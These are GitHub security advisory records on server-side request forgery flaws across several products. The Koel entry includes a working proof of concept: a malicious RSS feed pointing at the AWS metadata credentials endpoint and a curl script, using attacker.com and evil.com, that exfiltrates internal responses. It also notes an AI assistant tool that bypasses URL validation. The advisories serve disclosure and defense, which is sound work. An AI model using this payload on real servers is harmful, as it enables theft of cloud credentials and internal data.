CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2023-46295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T20:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Teledyne FLIR M300 2.00-19. Unauthenticated remote code execution can occur in the web server. An attacker can exploit this by sending a POST request to the vulnerable PHP page. An attacker can elevate to root permissions with Sudo.",
  "id": "GHSA-7gx3-fr27-7gx9",
  "modified": "2024-07-03T18:38:30Z",
  "published": "2024-05-01T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46295"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/loudmouth-security/vulnerability-disclosures/cve-2023-46295"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:27Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was discovered in haotian-liu/llava, affecting version git c121f04. This vulnerability allows an attacker to make the server perform HTTP requests to arbitrary URLs, potentially accessing sensitive data that is only accessible from the server, such as AWS metadata credentials.",
  "id": "GHSA-7hc9-vjg2-vpcr",
  "modified": "2025-03-20T12:32:42Z",
  "published": "2025-03-20T12:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12068"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/9d0b908d-63cd-4d62-91ff-6ceef3183752"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dtale"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-05T21:21:40Z",
    "nvd_published_at": "2024-01-05T22:15:43Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUsers hosting D-Tale publicly can be vulnerable to server-side request forgery (SSRF) allowing attackers to access files on the server.\n\n### Patches\nUsers should upgrade to version 3.9.0 where the \"Load From the Web\" input is turned off by default. You can find out more information on how to turn it back on [here](https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets)\n\n### Workarounds\nThe only workaround for versions earlier than 3.9.0 is to only host D-Tale to trusted users.\n\n### References\nSee \"Load Data \u0026 Sample Datasets\" [documentation](https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets)\n",
  "id": "GHSA-7hfx-h3j3-rwq4",
  "modified": "2024-01-08T14:58:50Z",
  "published": "2024-01-05T21:21:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/man-group/dtale/security/advisories/GHSA-7hfx-h3j3-rwq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/man-group/dtale/commit/954f6be1a06ff8629ead2c85c6e3f8e2196b3df2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/man-group/dtale"
    },
    {
      "type": "WEB",
      "url": "https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "D-Tale server-side request forgery through Web uploads"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-14585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-27T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Server Side Request Forgery (SSRF) vulnerability could lead to remote code execution for authenticated administrators. This issue was introduced in version 2.2.0 of Hipchat Server and version 3.0.0 of Hipchat Data Center. Versions of Hipchat Server starting with 2.2.0 and before 2.2.6 are affected by this vulnerability. Versions of Hipchat Data Center starting with 3.0.0 and before 3.1.0 are affected.",
  "id": "GHSA-7hgh-752m-38mj",
  "modified": "2022-05-17T00:12:15Z",
  "published": "2022-05-17T00:12:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14585"
    },
    {
      "type": "WEB",
      "url": "https://confluence.atlassian.com/hc/hipchat-server-security-advisory-2017-11-22-939946293.html"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/HCPUB-3526"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101945"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-6089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-29T11:16:50Z",
    "severity": "MODERATE"
  },
  "details": "The WP CTA plugin for WordPress is vulnerable to Server-Side Request Forgery via the \u0027sticky_s_media\u0027 parameter in imported JSON files in all versions up to, and including, 2.1.2. This is due to the import_sidebars() function passing user-supplied URLs from imported JSON data to file_get_contents() with only FILTER_VALIDATE_URL validation (which allows internal IPs). This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services. The response content is saved as a WordPress media attachment, making this a full-read SSRF.",
  "id": "GHSA-7hj5-j6jm-q3vw",
  "modified": "2026-07-29T12:31:23Z",
  "published": "2026-07-29T12:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6089"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/easy-sticky-sidebar/trunk/inc/import-export.php#L97"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3491924%40easy-sticky-sidebar%2Ftrunk\u0026old=3459250%40easy-sticky-sidebar%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/df5fc86f-e4ba-424b-bece-79abd763cf74?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-52453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T19:15:41Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Flow Data Source modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
  "id": "GHSA-7hjp-7485-cfwx",
  "modified": "2025-07-25T21:33:50Z",
  "published": "2025-07-25T21:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52453"
    },
    {
      "type": "WEB",
      "url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-9395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-24T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in wangsongyan wblog 0.0.1. This affects the function RestorePost of the file backup.go. Such manipulation of the argument fileName leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-7hr8-h96w-3444",
  "modified": "2025-08-25T00:31:14Z",
  "published": "2025-08-25T00:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/on-theway/wblog/blob/main/README.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/on-theway/wblog/blob/main/README.md#vulnerability-details-and-poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.321231"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.321231"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.632367"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-1043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-20T12:15:11Z",
    "severity": "MODERATE"
  },
  "details": "The Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.5 via the \u0027embeddoc\u0027 shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-7j24-fpjp-3cmx",
  "modified": "2025-02-20T12:31:15Z",
  "published": "2025-02-20T12:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1043"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3242370/embed-any-document"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b9f8c600-d62d-4f27-ba73-1a77a63859bc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:56:06Z",
    "nvd_published_at": "2026-06-12T20:16:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `\u003cenclosure url=\"...\"\u003e` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()-\u003eget()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n\u0027path\u0027 =\u003e $episodeValue-\u003eenclosure-\u003eurl,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)-\u003eget($episode-\u003epath)-\u003ethrow();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won\u0027t have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return [\u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url:http,https\u0027, new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL \u2014 not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   \u003crss version=\"2.0\"\u003e\n     \u003cchannel\u003e\n       \u003ctitle\u003eLegit Podcast\u003c/title\u003e\n       \u003citem\u003e\n         \u003ctitle\u003eEpisode 1\u003c/title\u003e\n         \u003cenclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/\u003e\n         \u003cguid\u003essrf-1\u003c/guid\u003e\n       \u003c/item\u003e\n     \u003c/channel\u003e\n   \u003c/rss\u003e\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` \u2014 passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)-\u003eget(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"\u003capi_token\u003e\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"https://attacker.com/feed.xml\"}\u0027\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r \u0027.[0].episodes[0].id\u0027)\n\n# Play the episode \u2014 triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant\u0027s `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue-\u003eenclosure-\u003eurl;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
  "id": "GHSA-7j2f-6h2r-6cqc",
  "modified": "2026-06-12T22:01:12Z",
  "published": "2026-05-29T19:56:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-6793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-09T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.",
  "id": "GHSA-7jgw-fhvx-qfxf",
  "modified": "2024-04-04T01:54:43Z",
  "published": "2022-05-24T16:55:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6793"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2019/01/31/security-release-gitlab-11-dot-7-dot-3-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/50748"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}